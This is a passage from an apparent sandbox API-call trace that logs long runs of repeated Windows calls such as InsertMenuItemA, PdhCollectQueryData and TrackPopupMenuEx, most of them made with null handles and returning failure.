returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa50) returned 0 [0216.045] SHGetInverseCMAP (in: pbMap=0x19f9db, cbMap=0x0 | out: pbMap=0x19f9db) returned 0x80070057 [0216.045] CreateAcceleratorTableA (paccel=0x19fa20, cAccel=4) returned 0x601fd [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.046] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0216.047] MoveWindow (hWnd=0x0, X=3452133, Y=0, nWidth=832, nHeight=17, bRepaint=0) returned 0 [0216.047] GetLastError () returned 0x578 [0216.047] SetLastError (dwErrCode=0x578) [0216.047] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d6490 [0216.047] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d6310 [0216.048] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d6370 [0216.048] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d63a0 [0216.048] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d5e18 [0216.048] GetLastError () returned 0x578 [0216.048] SetLastError (dwErrCode=0x578) [0216.048] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.048] SymCleanup (hProcess=0x0) returned 0 [0216.048] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.048] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.048] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.048] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.048] GetLastError () returned 0x579 [0216.048] SetLastError (dwErrCode=0x579) [0216.048] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.048] SymCleanup (hProcess=0x0) returned 0 [0216.049] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.049] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.049] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.049] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.049] GetLastError () returned 0x579 [0216.049] SetLastError (dwErrCode=0x579) [0216.049] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.049] SymCleanup (hProcess=0x0) returned 0 [0216.049] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.049] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.049] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.049] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.049] GetLastError () returned 0x579 [0216.049] SetLastError (dwErrCode=0x579) [0216.049] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.049] SymCleanup (hProcess=0x0) returned 0 [0216.049] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.049] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.049] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.049] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=410, param_5=0x0, param_6=0x0) returned 0 [0216.049] GetLastError () returned 0x579 [0216.049] SetLastError (dwErrCode=0x579) [0216.049] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.049] SymCleanup (hProcess=0x0) returned 0 [0216.049] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.049] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.049] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.049] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1053, param_4=271, param_5=0x0, param_6=0x0) returned 0 [0216.050] GetLastError () returned 0x579 [0216.050] SetLastError (dwErrCode=0x579) [0216.050] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.050] SymCleanup (hProcess=0x0) returned 0 [0216.050] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.050] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.050] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.050] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.050] GetLastError () returned 0x579 [0216.050] SetLastError (dwErrCode=0x579) [0216.050] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.050] SymCleanup (hProcess=0x0) returned 0 [0216.050] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.050] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.050] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.050] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.050] GetLastError () returned 0x579 [0216.050] SetLastError (dwErrCode=0x579) [0216.050] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.050] SymCleanup (hProcess=0x0) returned 0 [0216.050] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.050] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.050] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.050] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.050] GetLastError () returned 0x579 [0216.050] SetLastError (dwErrCode=0x579) [0216.050] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.050] SymCleanup (hProcess=0x0) returned 0 [0216.050] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.050] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.051] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.051] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.051] GetLastError () returned 0x579 [0216.051] SetLastError (dwErrCode=0x579) [0216.051] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.051] SymCleanup (hProcess=0x0) returned 0 [0216.051] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.051] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.051] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.051] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=177, param_4=37, param_5=0x0, param_6=0x0) returned 0 [0216.051] GetLastError () returned 0x579 [0216.051] SetLastError (dwErrCode=0x579) [0216.051] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.051] SymCleanup (hProcess=0x0) returned 0 [0216.051] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.051] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.051] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.051] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.051] GetLastError () returned 0x579 [0216.051] SetLastError (dwErrCode=0x579) [0216.051] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.051] SymCleanup (hProcess=0x0) returned 0 [0216.051] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.051] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.051] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.051] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=421, param_4=405, param_5=0x0, param_6=0x0) returned 0 [0216.051] GetLastError () returned 0x579 [0216.051] SetLastError (dwErrCode=0x579) [0216.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.052] SymCleanup (hProcess=0x0) returned 0 [0216.052] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.052] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.052] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.052] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.052] GetLastError () returned 0x579 [0216.052] SetLastError (dwErrCode=0x579) [0216.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.052] SymCleanup (hProcess=0x0) returned 0 [0216.052] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.052] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.052] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.052] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=406, param_5=0x0, param_6=0x0) returned 0 [0216.052] GetLastError () returned 0x579 [0216.052] SetLastError (dwErrCode=0x579) [0216.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.052] SymCleanup (hProcess=0x0) returned 0 [0216.052] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.052] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.052] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.052] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=573, param_4=452, param_5=0x0, param_6=0x0) returned 0 [0216.052] GetLastError () returned 0x579 [0216.052] SetLastError (dwErrCode=0x579) [0216.052] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.052] SymCleanup (hProcess=0x0) returned 0 [0216.052] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.052] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.052] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.053] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.053] GetLastError () returned 0x579 [0216.053] SetLastError (dwErrCode=0x579) [0216.053] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.053] SymCleanup (hProcess=0x0) returned 0 [0216.053] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.053] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.053] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.053] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=423, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.053] GetLastError () returned 0x579 [0216.053] SetLastError (dwErrCode=0x579) [0216.053] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.053] SymCleanup (hProcess=0x0) returned 0 [0216.053] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.053] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.053] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.053] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=424, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0216.053] GetLastError () returned 0x579 [0216.053] SetLastError (dwErrCode=0x579) [0216.053] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.053] SymCleanup (hProcess=0x0) returned 0 [0216.053] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.053] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.053] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.053] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=425, param_4=409, param_5=0x0, param_6=0x0) returned 0 [0216.053] GetLastError () returned 0x579 [0216.053] SetLastError (dwErrCode=0x579) [0216.053] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.053] SymCleanup (hProcess=0x0) returned 0 [0216.054] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.054] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.054] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=424, y=408)) returned 1 [0216.054] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=503, param_4=208, param_5=0x0, param_6=0x0) returned 0 [0216.054] GetLastError () returned 0x579 [0216.054] SetLastError (dwErrCode=0x579) [0216.054] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0216.054] SymCleanup (hProcess=0x0) returned 0 [0216.054] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0216.054] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0216.054] GetCursorPos (in: lpPoint=0x499d08 | out: 